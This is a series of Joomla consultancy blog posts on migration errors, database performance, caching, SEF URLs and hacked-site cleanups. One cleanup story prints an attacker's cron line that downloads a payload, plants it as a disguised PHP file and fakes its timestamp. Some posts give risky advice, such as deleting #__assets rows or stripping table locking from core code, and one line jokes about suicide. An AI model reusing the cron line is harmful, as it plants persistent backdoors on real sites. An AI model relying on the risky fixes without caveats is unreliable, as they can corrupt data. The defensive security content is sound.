Fatal error: Call to undefined method JFactory::getXMLParser() in /plugins/system/nonumberelements/helpers/parameters.php on line 93

OK. That is a 3rd party extension – let’s just disable it and see if the website works…

A quick refresh threw another error in our faces…

500 – JHtmlBehavior::mootools not found.

While becoming a bit frustrated, we fixed the above problem by including MooTools the Joomla 3.3 way in the template.

Refreshing the homepage generated another error that had to do with a specific extension, so we thought, we can just update that extension from Joomla’s backend (we were able to login to the backend).

Unfortunately, when we clicked on the Updates are available link (located on the left side-panel under the Maintenance section on the homepage of Joomla’s backend) we got the following error:

Unknown column ‘a.extra_query’ in ‘field list’ SQL=SELECT DISTINCT a.update_site_id, a.type, a.location, a.last_check_timestamp, a.extra_query FROM #__update_sites AS a WHERE a.enabled = 1

And so we tried to fix the database by clicking on the Fix button on the upper left corner on the Extensions -> Extension Manager -> Database page, but we got the following error:

Unknown column ‘title_alias’ in ‘#__content’ SQL=ALTER TABLE `#__content` CHANGE `title_alias` `title_alias` VARCHAR( 255 ) CHARACTER SET utf8 COLLATE utf8_bin NOT NULL DEFAULT ”;

At this point, we started browsing the Internet for the best practices for committing suicide painlessly and professionally. But then we thought, while we really wanted to go through this migration the Joomla way, our lives, sanity, and families are much more important, and so we reverted the website to a previous backup, we re-did the migration our way, and this time we were actually able to finish it successfully.

And then we started thinking, we are established Joomla experts and we failed at making the built-in migration work for us when migrating a very, very simple Joomla website. So what about those who are trying to migrate from 2.5 to 3.3 and who are not experts? How will they be able to migrate their sites by themselves? And what if they can’t afford to pay us or other Joomla developers to migrate their sites? Will they stick with Joomla if they can’t? Or will they not?

Obviously, Joomla users are once again at a crossroad, they will either continue with Joomla, or they won’t, and probably only those who are extremely loyal to Joomla will choose the former option, because many Joomla users were burnt back in 2012, and they are less likely to be willing to get burnt a couple of years later, and a couple of years later, and a couple of year later…

So, what can Joomla do?

In order to prevent a massive and continuous hemorrhage of users, Joomla must create a migration tool that actually works, instead of this not even half-baked solution that Joomla has (e.g. by switching from LTS to STS and then updating the website). Failing that, Joomla’s userbase will substantially shrink in 2015-2016, possibly never returning to its 2014 levels anytime in the near or distant future…

Now, if you are trying to migrate your Joomla website but it’s not working out well for you, then please let us know. We will do the migration for you in as little time as possible and for a very affordable price. Oh, and we will ensure that the frontend of the migrated website will look and work exactly like your old website!

Creating New Articles on Your Joomla Website Is Taking a Long Time? Clean Your Assets Table!

We’re not big fans of the #__assets table, but you probably know this already if you’re one of our loyal readers! The #__assets table makes everything on the website slower, and not to mention that minor data integrity issues on that table can lead to large problems on the Joomla website.

But let’s focus in this post on the performance issues caused by the #__assets table, and what to do about them. In short, when you add a new content entry (an article, a category, a module, etc…), Joomla has to update a large chunk of the rows in the #__assets table to insert the new row, which will increase the load on the server. So, the more rows you have in your #__assets table, the more time you’ll have to wait when you save a new article.

If you want proof that the #__assets table is the bottleneck, then here’s an example from the MySQL Slow Query Log from one of the websites that we manage:

# Time: 141212 12:57:49
# User@Host: database-user[database-name] @ localhost [] Id: 282378
# Query_time: 5.492695 Lock_time: 0.000000 Rows_sent: 0 Rows_examined: 2303
use database-name;
SET timestamp=1418252269;
UPDATE #__assets
SET lft = lft + 2
WHERE lft > 648;

The query above took nearly 5.5 seconds and it happened when our client added a new article to their website. That client usually adds about 70 articles/day – which means that they have 70 of these slow queries every day. And it gets worse, since the larger the table is, the more time these queries will take and the more the load there will be on the server (the 5.5 seconds occurred on a table that only had 2,300 rows – imagine what would have happened if that table had 100 times that number of rows – content managers will have to wait 10 minutes after clicking that “Save” button!).

So, what do about this?

Well, the solution is simpler than you can possibly imagine. All you need to do is to regularly delete those rows (in the #__assets table) that are created by adding new articles! This can be done by executing the following query in phpMyAdmin (make sure you backup your database before executing the below query and also make sure you optimize the table after executing the query):

DELETE FROM #__assets WHERE `name` LIKE '%com_content.article.%';

We know, you probably think that we have gone insane and that we’re trying to destroy your website, but this is not the case. These entries have no purpose whatsoever and they are not needed for your website to work. You can really delete them, and once you do, you will notice a substantial drop in your server’s load during working hours and your new articles will save instantly.

Now, you may be wondering, will there be any side effects?

We regularly clean the #__assets table of our major clients, and so far, we haven’t seen a single glitch caused by it. But, if you’re afraid to do the above yourself, then a good idea would be to contact us, we’ll do it for you in no time (we’ll also create a cron job to automatically clean the #__assets table for you at regular intervals) and for a very affordable fee!

“index.php” Should Be the Only Accessible File on Your Joomla Website

Here’s how the majority of malicious users try to hack your beloved Joomla website:

  • They search for an exploit on your Joomla website.

  • They use that exploit to upload a PHP file to your website.

  • They invoke the URL pointing to that file, and by doing so, they create duplicates of the malicious file, hack your website, or send spam.

So, if they upload a file called cms.php, then all they need to do is to go to http://www.yourjoomlawebsite.com/cms.php and it’s over: your website either becomes labelled as a “compromised website” by Google or you will receive the dreaded email from your host telling you that your Joomla website is sending spam and you have 24 hours to address the problem or it will be shut down! At best, your website becomes an incubator of malicious files that will be used by any wannabe malicious user out there.

Fortunately, there’s a simple solution that will address this problem: block all access to all PHP files with the exception of the index.php file: your visitors, and even your administrators, only need access to the index.php file to be able to visit/manage your website. They should never need direct access to any other file on your server.

So, how to only allow access to the index.php file?

This can be done easily by adding the following code to the very beginning of your .htaccess file:

<Files *.php>
	Deny from all
</Files>
<Files index.php>
	Allow from all
</Files>

Once you implement the above, even if the malicious user was able to upload the cms.php file to your Joomla website through a vulnerability, he will not be able to execute it (he will be redirected to http://www.yourjoomlawebsite.com/403.shtml page), which means that he just can’t do anything with the file that was uploaded.

But how will administrators be still able to login?

If you have read our post from the beginning (yes, some people still do that instead of just jumping to the solution), you will see that we said that this trick also works for administrators. But, as you (probably) know, administrators use another index.php, which is the one located under the administrator folder. Luckily, the .htaccess rules are recursive, which means that any index.php file in any directory (and sub-directory) will still work, including the one located under administrator folder. Now, although this is convenient, it creates another problem: what if the attacker uploads a file called index.php, under, let’s say, the media folder? “Obviously, this solution is not bullet proof!”, you might be wondering…

You’re right, it is not bullet proof! It does block the majority of the hacks, but an experienced saboteur can still upload an index.php file instead of a cms.php file and he’ll gain control over your website. To address this problem, you will need to completely deny PHP execution in all the Joomla folders by creating, under each and every folder (with the exception of the administrator folder), an .htaccess file with the following content:

<Files *.php>
	Deny from all
</Files>

This will block the execution of all PHP scripts within those folders, even if they are named index.php. Since we will need to be able to execute the index.php file under the administrator folder to allow for backend access, we can’t add that .htaccess file there, but we will need to add it under all the directories located under the administrator folder.

So, will this solution guarantee the security of my Joomla website?

No – it won’t. Certain exploits will allow malicious users to modify core Joomla PHP files (including the index.php file), so the solution is not a silver bullet. It’s not worthless though, and we think it’s a must, as it is a first level barrier against attacks and will greatly increase the security of your Joomla website.

But what if an extension needs direct access to another PHP file?

There are a few extensions out there that require direct access to a PHP file other than the index.php file (unfortunately, some of these extensions are major extensions). While this is not a good practice (and a sign of bad Joomla programming), you can also create another rule in your .htaccess file to allow the file(s) required by these extensions to work properly.

We are confident that implementing the security tips in this post will greatly enhance the security of your Joomla website (we think that all Joomla websites should only allow the index.php file to be executed). If you need help with the implementation, then please contact us, we are always here to help, our fees are affordable, our work is very clean, and we treat all the websites we work on as if they were ours!

Two Quick Solutions to the Lock Tables Problem in Joomla

Note: The second solution presented in this post is a core change. Keep in mind that if you change the core of your Joomla website, you may need to re-apply your changes after a Joomla update. Also keep in mind that this particular core change may compromise the stability of your website (especially if your website has an above normal rate of write activities).

We are getting an increasing number of clients calling in and telling us that they are seeing the following error when adding/editing items (such as content, categories, menu items, etc…) to Joomla:

1044 Access denied for user ‘[user]‘ to database ‘[database]‘ SQL=LOCK TABLES `[table]` WRITE

For some clients, the problem is persistent (happens all the time), for some other clients, it is occasional. However, it is always annoying.

So, why does this problem happen?

In short, the problem happens because of the #__assets table: when you add an item to Joomla, Joomla adds a reference to that item in the #__assets table. Generally, adding an entry to the #__assets table results in having a large number of rows (in the #__assets table) being updated because of the lft and the rgt fields (we are not going to go into the technicalities here, but you can just blame the lft and the rgt fields). In order to maintain data integrity, Joomla acquires a lock on the #__assets table using the LOCK TABLES SQL statement (keep in mind that sometimes adding an entry to the #__assets table can take several seconds, so imagine what will happen if another entry is to be added at the same time without locking the table: a complete corruption of the table!)

But why should this be a problem?

You’re right. It shouldn’t be a problem. But it becomes a problem if the MySQL user that you’re using doesn’t have the necessary privileges to lock tables. In order to address this problem, then you will need to grant that user the LOCK TABLES privilege (you can do that either from the cPanel interface or from the MySQL client when logged in as root).

If you’re running in a restricted environment and you don’t have control over the database users’ privileges, then you will need to comment out the code responsible for locking the #__assets table (warning: this can lead to disastrous effects if you have more than one person working on the website). This can be done by opening the file nested.php located under the libraries/joomla/table folder and removing the following code:

// Lock the table for writing.
if (!$this->_lock())
{
	return false;
}

You will then need to upload the file back. This will solve the problem, but, as stated in the beginning of this post, this is a core change so you will need to be extremely careful. Despite the easiness of this solution, you should always opt for the first solution.

If you’re seeing the above error when trying to add an item to your Joomla website, then try implementing the first solution first. If all else fails and you are becoming increasingly desperate then go for the second solution (keep in mind that the latter solution can corrupt your #__assets table, so it’s not recommended to apply it in a production environment). If you need help with the implementation, then please contact us. We are eager to help, we know our Joomla, we don’t charge much, and we are the friendliest programmers in our Solar System.

Joomla Displays Mobile Version of the Content for Desktop Visitors – How to Fix

“Joomla’s caching will come back to haunt you.” – itoctopus, Joomla experts, circa 2014

Note: The solution to this problem requires a modification to a core file, which means that future Joomla updates will wipe out the solution. Be careful and vigilant when you update your website if you have modified core files.

One of our very large clients had a recurring problem: the layouts of the mobile and the desktop version of the site were getting mixed up. In other words, a user visiting the website through his mobile device would see the desktop version of the site, and a user visiting the website using a laptop would see the mobile version. Of course, this wasn’t happening all the time, but it was happening, and it was annoying and making the whole website look unprofessional.

Why was the problem happening?

The problem was happening because of Joomla’s cache, and we’re not talking about the System – cache plugin (which was disabled for that particular website), but we’re talking about the global Joomla cache that is set in the configuration settings (which is enabled by logging in to the backend, and then going to System -> Global Configuration in the backend of the Joomla website, and then clicking on the System tab on the top, and finally setting the Cache value under Cache Settings to On – Conservative caching). But why was caching the cause of the problem?

Well, when a person was visiting a page with a mobile device and the content on that page was not yet cached, then Joomla will cache the mobile version of the content, which was using a completely different template. When a subsequent visitor visits that same page using a laptop, then the cache for the content of that Joomla page will not be re-created (Joomla does not distinguish between mobile and desktop traffic when it comes to caching), and Joomla will serve the cached version of that content, which is the mobile version. As you can see, we never used the term “Page Caching” because pages were not cached (since the System – Cache plugin was disabled), what was cached was the content (content will be automatically cached if caching is enabled at the global level).

So, how did we solve the problem?

We had 3 options to solve the problem:

  1. Completely disable caching.

  2. Disable content caching.

  3. Modify Joomla’s caching to make it distinguish between mobile and desktop traffic.

Option #1 was completely out of the question, because the traffic that the website was getting was substantial, and completely disabling caching will definitely crash the website within a few minutes. So, we experimented with option #2, and we disabled content caching as explained here. However, soon after we did that, load started increasing exponentially and the website was bound to crash, and so we reverted our change and re-enabled content caching. This meant that we were only left with one option: Modifying Joomla’s own cache.

Now, if you have been developing for Joomla for a long time, you will probably know that Joomla’s cache is very delicate and very complex. We literally spent a couple of days until we figured out the solution. Here’s what we did to solve the problem:

  • We opened the file storage.php located under the libraries/joomla/cache folder.

  • We added the following code at the beginning of the _getCacheId function:

    $isMobile = false;
    $arrMobileAgent = array('Android', 'BlackBerry', 'Googlebot-Mobile', 'iPhone', 'iPod', 'mobi', 'mobile', 'Opera Mini', 'Safari Mobile', 'Windows Mobile');
    foreach ($arrMobileAgent as $mobileAgent) {
    	if (preg_match("/$mobileAgent/i",$_SERVER['HTTP_USER_AGENT'])) {
    		$isMobile = true;;
    	}
    }
    $appendMobile = '';
    if ($isMobile == true){
    	$appendMobile = 'mobile-';
    }

  • We then changed, in the same function, the following line:

    return $this->_hash . '-cache-' . $group . '-' . $name;

    to this one:

    return $this->_hash . '-cache-' . $appendMobile. $group . '-' . $name;

  • We uploaded the file back.

  • The problem was solved!

The above code, in case you’re curious, will generate a different cache for the mobile version of the site, which means that fixing the problem did not entail us to disable caching for the mobile version of the site, which was ideal!

If you want to make sure that the above method is working, then run the following command in ssh under the cache folder after visiting the website with a mobile device:

find . -type f -name "*-mobile-*" | wc -l

If you get a number that is bigger than 1, then this means that the method is working. If that’s not the case, then you probably have modified the wrong file or you are visiting the website with an unrecognized mobile device (in the latter case, you will need to check the user agent of that device and add it to the $arrMobileAgent array).

Now, here are some FAQs about our solution.

  • Will it work with K2?

    Yes – it will, since K2 uses Joomla’s cache and doesn’t have its own cache.

  • Is it template-dependent?

    No. It’ll work with any template.

  • Which versions of Joomla is it compatible with?

    The solution is compatible with Joomla 2.5.x and Joomla 3.x (as of November 24th, 2014).

  • The above solution can’t work for us since we’re using the same URL for the mobile and the desktop version, and Joomla caches content by URL. Right?

    Actually, wrong. There is a myth that Joomla caches content by URL but it’s not true. Joomla caches content by content ID, and since we’re appending -mobile to the mobile version of the content, then you needn’t worry; the above solution will work for you! In fact, the website in question that we fixed the problem for was using the same URL for mobile and desktop traffic.

If you have further questions, or if you want to implement the above solution, but you’re a bit scared of modifying a core Joomla file, then please contact us and we’ll do it for you. Please note that our super affordable fees apply.

MySQL Must Be Able to Auto-optimize Itself

Note: The below is a rant – we just wanted to let you know beforehand in case you’re not in the mood for a rant on a Friday afternoon.

One of the things that we do when optimizing a large Joomla website is tweaking MySQL’s settings in the my.cnf configuration file (this file is typically located under the /etc folder of the server). The most important globals that we tweak in that file are tmp_table_size, max_heap_table_size, key_buffer_size, and myisam_sort_buffer_size.

Every time we do these tweaks, we can’t help but wonder how come MySQL doesn’t automatically guess what the optimal settings should be depending on the usage and automatically set them (or at least recommend them – by the way, and for the records, phpMyAdmin does make some recommendations, but these recommendations are often ambiguous especially for those with a humble MySQL experience).

For example, the key_buffer_size can be calculated by issuing the following command in the Linux shell (as root):

du -sch /var/lib/mysql/*/*.MYI | grep "total"

The key_buffer_size should be slightly above the total number calculated from the above command (it’s 396M on the server that we are currently working on).

How come MySQL doesn’t automatically configure (or, again, recommend) the exact number? Of course, this issue is not only about the key_buffer_size, but it is also about nearly every global setting in the my.cnf file. We know that MySQL is able to determine the right settings much more accurately than a programmer/system administrator who reaches the right (but never the ideal) combination through the tricky path of trials and errors.

The first thing any programmer learns is to progressively make things easier for the other programmers. While MySQL is an excellent database, it has a lot of potential to make many things easier for all the system administrators (and the programmers) in the world, but, for some reason, it stops short of that.

We have no idea why they do that. If they’re afraid that companies will go after them if their websites fail because of the automatic (or the recommended) settings then they’re wrong and they know that. Many products out there have recommended settings (even cars have automatic/recommended settings – and cars mean lives – literally) and they’re not afraid of a customer backlash if an automatic/recommended setting fail. We’re just not sure why. But what we are sure of is that MySQL is able to know what the optimal settings should be for each server based on the usage.

If you’re looking into optimizing the MySQL server for your Joomla website, then please contact us. We have optimized the MySQL database server for many large sites and we are definitely able to optimize yours. Please note that our super affordable fees apply!

How to Optimize Joomla’s Session Table

Note: Please read the whole post before taking any action. There is some important information at the end.

If you check your Joomla site’s MySQL slow query log occasionally, you will notice that it is full of queries there are related to the #__session table (INSERTs, UPDATEs, DELETEs). This is because Joomla updates the #__session table on every page view. In fact, the most active table (write-wise) on a Joomla website is the #__session table.

Of course, if you’re using MyISAM as your database engine, then any update to the table will mean that the whole table will be locked (that’s one of MyISAM’s drawbacks), which means that any update will have to wait until the previous update is done. On high traffic sites, this can be a big problem because it can lead to an avalanche of queries waiting to be executed, which can ultimately crash the server.

While InnoDB doesn’t lock the whole table on updates, it does also suffer from performance issues on tables with a high write rate. As such, updates to the #__session table, even when using InnoDB, can end in the MySQL slow query log.

So, what is the solution to the problem?

The solution to the #__session problem is easy: using the Memory storage engine. The Memory storage engine stores the data of the table using it in the RAM (with the exception of the table’s structure, which is always stored on the physical hard disk). This means that any queries to the #__session table will be super fast because RAM is much, much faster than hard disk (even SSD hard disks). On the flip side, this also means that restarting MySQL will automatically wipe out the content of a MEMORY table, but this is a non-issue for the #__session table because in a worst case scenario (when the table’s contents are lost), those who are logged in to the website will be logged out (temporary user preferences will also be lost, but this is a non-issue as well).

Now the question is, how to change the #__session table’s engine from MyISAM or InnoDB to MEMORY? Well, it’s delicate, but not hard…

First of all you will need to change the type of the data field in the #__session table from MEDIUMTEXT to VARCHAR. But, before doing that you will need to run the following query (in phpMyAdmin) on the #__session table:

SELECT MAX(LENGTH(`data`)) FROM `#__session` WHERE 1

The above query will return the maximum length of the data field in the #__session table. If you get something like 4,023 , then you will need to set the size of the VARCHAR to almost double that number, something like 8,192 (which is 213).

Once you change the type of the data field, you will then need to truncate the #__session table, and then you will need to change the engine of the #__session to MyISAM if it’s InnoDB (note that, for some reason, the latter step is necessary on some servers, and that’s why we have mentioned it).

Once the table’s engine is changed to MyISAM, you will then have to change it MEMORY (this can be done by clicking on the table name in phpMyAdmin, and then clicking on Operations on the top, and then finally choosing MEMORY as storage engine).

Now, the first time we optimized the #__session table by following the above guide, the website ran smoothly for about 30 minutes, and then it showed a blank page. It turned out that the #__session table became full because the RAM assigned to MySQL’s temporary tables was exhausted. Here’s how we fixed the problem:

  • We logged in through ssh to the server.

  • We opened the file /etc/my.cnf (which is the MySQL’s configuration file).

  • We changed the values of tmp_table_size and max_heap_table_size to 1024M (these two settings must be identical because MySQL will use the lesser of the two).

  • We restarted MySQL and everything was OK.

Changing the engine of the #__session table to MEMORY will certainly have a huge positive effect on your site’s performance (and will substantially reduce the size of the MySQL slow query log on your server). Doing it can be a bit tricky though, but, as usual, we’re here to help in case you need help. All you need to do is to contact us and we’ll take care of the rest. Oh, and by the way, our fees are super affordable and we are very, very friendly!

Fixing an Elusive Joomla Hack

For the past month (yes, month!) we have been working on the security of a major website that suffered from a substantial hack. We were able to mostly secure the website, but still, there was a leak somewhere and we didn’t know where.

The “leak” consisted of a malicious file called client.php that was created out of nowhere under the libraries/joomla/client folder. The name of the file was treacherous, and so was its creation date. The name client.php inferred that it’s a benign file, and the date of the file was set to be April, 5th, 2010 (4.5 years ago). So, how did we find out that it was malicious? Well, by scanning the Joomla site with a custom script that checks each file for malicious code.

The first time we deleted the file we thought that it’ll go away, forever (because we secured the site). The second time we thought that it was a compromised SFTP account on the server, but the third time, we started having doubts on whether we really cleaned the site or not.

We did everything to prevent the file from being created, but it was still being created, and not a single log anywhere on the server told us how the file was created. We spent weeks examining Apache logs, FTP logs, and other server logs, but we couldn’t find the root cause of the problem. Eventually, we became so frustrated that we created a mechanism that will block the web execution of any PHP file on the Joomla website with the exception of the index.php file located under the root directory of the website, and the index.php located under the administrator directory. We did that through .htaccess files, either by denying all access to specific directories (such as the libraries and the includes directories), or by denying access to php files for those directories that have some files that must be read by the web browser (such as the images, the media, and the templates directories). We thought by doing that we will block the execution of the client.php file, and we were right, but our strategy did not block the re-creation of the file every few days.

For the first time, we were inclined to accept the situation as something that we can’t do anything about (after all, the file was harmless after the security work that we did) but deep down inside we knew we couldn’t. Not only because we don’t like to lose to hackers, but because we felt that if a malicious user was able to upload a file without us knowing how, then it won’t be hard for him to modify an existing Joomla file and actually hack the website.

This morning, however, everything changed to the better. Around 2 AM in the morning while migrating a Joomla website for that very same client, we noticed that the file was re-created. Immediately, we issued a stat command on the file while in the Linux shell:

stat /home/[userid]/public_html/libraries/joomla/client/client.php
File: '/home/[userid]/public_html/libraries/joomla/client/client.php'
Size: 42982 Blocks: 88 IO Block: 4096 regular file
Device: 808h/2056d Inode: 24051713 Links: 1
Access: (0644/-rw-r--r--) Uid: ( 503/[userid]) Gid: ( 503/[userid])
Access: 2014-11-12 02:30:52.000000000 -0500
Modify: 2010-04-05 21:00:00.000000000 -0400
Change: 2014-11-11 23:00:02.000000000 -0500

Of course, the modify date is certain to be fake, but the other dates, Change and Access, seemed to be genuine. So, we checked the logs during the specific Access and Change times, thinking that we will immediately find the cause of this issue. Unfortunately, we were disappointed for the 100th time – however, a lightning bolt struck us (well, not literally, although it’s possible for this to happen in Montreal) and we checked the cron jobs for the affected website (in cPanel), and here’s what we found:

0 23 * * 0,2 rm -f $TMP_DIR/w.gz ; wget -q -O $TMP_DIR/w.gz $DOWNLOAD_URL && gunzip -c $TMP_DIR/w.gz > $TMP_DIR/w.txt && cp -f $TMP_DIR/w.txt $LOCAL_FILE_PATH && touch -c -t 201004052100 $LOCAL_FILE_PATH && rm -f $TMP_DIR/w.gz

Aha and double Aha! There was a cron job that was using a file under the /var/tmp directory on the server to create the malicious file every Sunday and Tuesday evening. Immediately, we deleted the cron job and we removed the malicious files from the /var/tmp directory (of course, we also removed the client.php file).

It was an extremely stressful experience but we emerged victorious (albeit very, very tired)!

If your Joomla website is continuously hacked, then take a quick look at your cron jobs, maybe the problem is there. If you’re not a technical person, then please contact us and we’ll be very glad to help. Our prices are affordable, our work is professional, and we are, by far, the friendliest programmers on this planet!

Root Must Be the Only Asset with No Parent

Note: We probably should have called this post “You Do Not Have Access to the Administrator Section of This Site” Error When Trying to Login to Joomla’s Frontend, but we went with the current title because we thought it was shorter, catchier, and much more original…

The #__assets table in a Joomla database is not the best thing since sliced bread. In fact, we think it should be gone as previously mentioned here, and one of the reasons it should be gone, besides all the performance problems it causes, is the instability associated with it. Let us give you a very recent example of an instability caused by the assets table…

This afternoon, around 1:00 PM EST, a new client called us and told us that he was seeing the following error when trying to login to the frontend of his Joomla website: “You do not have access to the administrator section of this site”. Now, we have discussed this issue before, but in a context where the user was trying to login to the backend of the site, and not to the frontend.

We started investigating the problem, jumping through hoops from one file to another, slowly but surely confirming that the problem was in the #__assets table, until we finally reached the file tablenested.php which is located under the libraries/joomla/database folder. In that file, there is a function called getRootId being called when authenticating the user. The function just queries the #__assets table for all the entries that have no parents. If you are experienced with Joomla’s internals, you will know that Root is the only entry in the #__assets table that shouldn’t have a parent. Apparently, the function getRootId knows this as well and tries to enforce it (we think it’s the wrong place to enforce this), and so if the query returns more than 1 result, then the authentication will fail. Unfortunately, in our case, the query returned about 15 rows (and that’s why the authentication wasn’t working). So, we looked at the database and it turned out that one lousy extension called com_booking created 14 rows with no parents. We addressed this problem by manually updating each of these rows to have Root as parent (e.g. we updated the parent field for these rows to be 1).

It took us nearly 3 hours to solve this nasty problem, and we could have easily modified a core file to fix it in 15 minutes. But we wanted to do a clean job, and we believe that we did do a clean job!

So, if you see the error “You do not have access to the administrator section of this site” when trying to login to the frontend, then check your #__assets table (in phpMyAdmin), and see if you have an entry, other than Root, that doesn’t have a parent. If you do find one, then change its parent to 1 and your issue will be resolved. If you think that this whole thing is a bit over your head, then please contact us. Our rates are affordable, our job is professional and neat, and we are the friendliest programmers on this solar system!

Joomla 3.5 – The End of Joomla as We Know It?

Joomla 3.5 is supposed to be released on November 15th, in exactly ten days from now, but we all know that this won’t happen, because Joomla 3.4 was supposed to be released on September 15th, and, even almost 2 months later, it’s still in the Joomla oven. But that’s not the real problem, the real problem is Joomla 3.5, and here’s why…

Joomla 3.5 gets rid of 7 core extensions:

  1. Banners (com_banners)
  2. Contacts (com_contacts)
  3. Messages (com_messages)
  4. Newsfeeds (com_newsfeeds)
  5. Redirect (com_redirect)
  6. Search (com_search)
  7. Smart Search (com_finder)

Now we have stated, in an earlier post, that 4 of the above extensions are useless and must be removed from Joomla’s core. These extensions are: Banners, Messages, Newsfeeds, and Redirect (note that the aforementioned post also asks for the removal of the Weblinks extension, which will be removed in Joomla 3.4 according to the roadmap).

But what about the other 3 extensions that Joomla wants removed, but were not mentioned in our previous post? Let’s examine them one by one:

  1. Contacts: At a personal level, we don’t love this extension (probably because it’s from the Mambo era). But, the problem is that there are so many websites out there currently using it for their Contact Us page, and taking that extension away will mean that these websites will have to look for alternatives in the JED.

  2. Search: OK – let us ask you a question. When was the last time you used a CMS with no search functionality? What’s that you say? “Never”? We agree, but, for some reason, the majority of Joomla developers think that the search functionality should be removed (both the component and the module), and that all new Joomla sites should not have the search functionality by default, and, if they really need it, then they should use a 3rd party extension (which may or may not be commercial, and may or may not be vulnerable, and may or may not exist in a few months). We just don’t understand the reasoning behind the decision to remove this extension. Oh, and by the way, there is nothing wrong with the extension – it works – in fact, we think it works so well that we made a few modifications to make it even better, such as handling spelling mistakes.

  3. Smart Search: The Smart Search is a tool in Joomla that is designed to speed up the search, especially on large websites. The extension works seamlessly but suffers from 3 major drawbacks: 1) it creates an array of (potentially very large) tables in the database, 2) it can slow down the whole website, and 3) it’s not that smart! Having said that, we don’t think that the extension should be removed, in fact, we think it has more merits than disadvantages and that’s why we have it enabled on some very large websites (we did make some modifications to it though). We believe that this extension, after some not-so-major alterations, can be the best thing since sliced bread. Obviously, most Joomla developers don’t think this is the case and that’s why it’s being dumped.

Granted, Joomla officially states that all the old websites will not be affected once they upgrade to Joomla 3.5 (in other words, they will still have the above extensions if they’re using them). But what about newcomers to Joomla? What will the developers respond when these newcomers start asking questions about the missing search functionality?

Yes, WordPress doesn’t have, by default, a Contacts extension (note: an extension is called a plugin in WordPress), but it does have a search functionality that works! Either way, we don’t think that the ultimate goal is to make Joomla a WordPress clone. Joomla is something different, something better, and to strip the CMS from its basic functionality, doesn’t mean we have a better, more robust product, it means that we have an incomplete product. We wonder how many people out there are willing to use and invest in an incomplete product.

If you have an opinion on the matter, then we, at itoctopus, are eager to listen. Just drop us a comment below and let the discussion begin!

How to Remove the Sweet Orange Exploit Kit Hack from Your Joomla Website

A major company called us early last week and told us that they were alerted that they have the Sweet Orange Exploit Kit on their Joomla website. They said that a tool that they’re using to block malware sites, called ProofPoint, has blocked their own website because it contains malware!

The report generated by ProofPoint claimed that the file, http://[www.ourclientjoomlawebsite.com]/modules/mod_ariextmenu/mod_ariextmenu/js/menu.min.js, was hacked. That file, for those who don’t know, is used to support the ARI Ext Menu module. We checked the file and true enough, it was hacked. We restored a clean version of the file from the backup, but it didn’t take long for that file to get hacked again. Hmmm….

This meant one of two things: 1) Either there are some malicious PHP files on the server (that were uploaded earlier) and that are used to hack the aforementioned JavaScript file, or 2) the ARI Ext Menu module is a vulnerable extension which is exploitable by malicious users.

It didn’t take us long to discover that it was the latter scenario: A file called menu.min.php was created under the /modules/mod_ariextmenu/js folder (the same folder that contained the hacked file). This file, which seemed benign at first glance (because it had the same last modify date as the other files in the same directory and because its name seemed legitimate) was not: it contained some base64_decode code which was creating a backdoor to the hackers to literally do anything on the website. Naturally, we deleted the file, but, as expected, it re-emerged within 15 minutes, and then it infected the same JavaScript file, again!

Eventually, we created an .htaccess file that disabled the direct execution of PHP files under the whole modules folder. Here is the code that we added to that .htaccess file:

<Files *.php>
	deny from all
</Files>

That gave us some room to replace the ARI Ext Menu module with another module to generate the menu (we ended up overriding the template of the native Joomla menu module). Once we did that, we immediately uninstalled the ARI Ext Menu module and we told our satisfied client to stick with native Joomla extensions when possible.

We monitored the site for a full day after uninstalling the module (we checked the logs constantly) and we are glad to say that the hack hasn’t returned.

A couple of days after fixing the problem, we had another Joomla website hacked with the Sweet Orange Exploit Kit, but this time it was the mootools-core.js file located under the media/system/js folder. That website was running a very old version of Joomla 2.5 (it was 2.5.11) so updating it to the latest version did the trick (of course, we replaced the mootools-core.js file with a clean version prior to updating the website).

If your Joomla website was hacked with the Sweet Orange Exploit Kit (we know, there’s nothing sweet about this hack) then fear not, it is (probably) not the end of the world. There is a way to clean the website despite the fact that this type of hack is extremely persistent. All you need to do is to contact us and we will see that your website becomes clean again in as little time as possible and for a very little fee. We will also ensure that your website remains clean for the foreseeable future!

How to Remove the Article ID from Joomla’s SEF URLs

If you’re not using a 3rd party extension to generate your SEF links, then most likely you are already annoyed by the presence of the article ID in article URLs. In fact, most Joomla administrators use a 3rd party SEF extension to generate their links instead of Joomla’s built-in SEF tool because of this particular problem.

So, is there a way to remove the article ID from the URL when using Joomla’s own SEF tool? The short answer is yes, but it requires a simple modification to a core Joomla file, which means that any update to your Joomla website may or may not break your link structure. If you’re not comfortable with this, then we suggest that you stop reading this post (or you can continue reading, who knows, we might have a surprise for you). If you’re OK with changing a core file on your Joomla site, then here’s how to do it:

  • Open the file router.php which is located under the /components/com_content/ folder.

  • Search for the following line (Joomla 3.3.x):

    $advanced = $params->get('sef_advanced_link', 0);

    and change it to:

    $advanced = $params->get('sef_advanced_link', 1);

    Note that the above line exists twice, and you must change it for both instances, or else your links will no longer work. (The links will stop working because the build and the parse functions in the router.php file will no longer be consistent with each other).

  • Save the file and upload it back.

  • Your links no longer contain the article ID. Congratulations!

As you can see from the above, the modification to the router.php is quite basic. Not only that, it seems that the com_content extension already has an option, sef_advanced_link, that automatically strips the article ID from the URL. Sadly, that option doesn’t exist anywhere in Joomla’s interface (it’s only retrieved in the router.php, but there is no way to set it in the configuration of the com_content extension), but we suspect that it will be added at a later stage.

So, is there really no other way but to change a core file?

Well, if you’re adventurous, then you can manually update the settings of the com_content extension in the database and manually create an sef_advanced_link parameter and set it to 1. Here’s how:

  • Login to phpMyAdmin

  • Select the database that powers your Joomla website.

  • Click on the #__extensions table.

  • Find the row where the name is com_content and open it in edit mode.

  • Add the following to the params field (just before the closing curly bracket):

    ,"sef_advanced_link":"1"

    (Note that the comma in the code above is not a typo, you should add it or else your website may malfunction).

  • Save the row.

  • Check your website (after clearing your Joomla cache), and you will notice that the article IDs are gone!

Both methods are not ideal, because for the first method the links will not work if the router.php file is updated, and, for the second method, the links will not work if you update the settings of the com_content extension through the backend (your hardcoded database changes will be wiped out).

Now, the question is, why does Joomla add the article ID to the URL in the first place?

Well, because if two different articles have the same alias, then adding the article ID to the URL will ensure that both URLs are different. However, we don’t think that this is a good excuse to force this option on Joomla websites, simply because Joomla can and does automatically generate a different alias for the second article that has the exact same title (it usually adds -2 to its end).

In this article, we have presented two ways to remove the article ID from article URLs, one by changing a file, and the other by changing a row in the database. As we have mentioned before, no option is optimal. If you’re not sure which option to implement, or if you feel that you this whole thing is not your game, then please contact us. We can help you do this in no time and for a very, very affordable fee!

How We Got Rid of sh404SEF on a Major Website

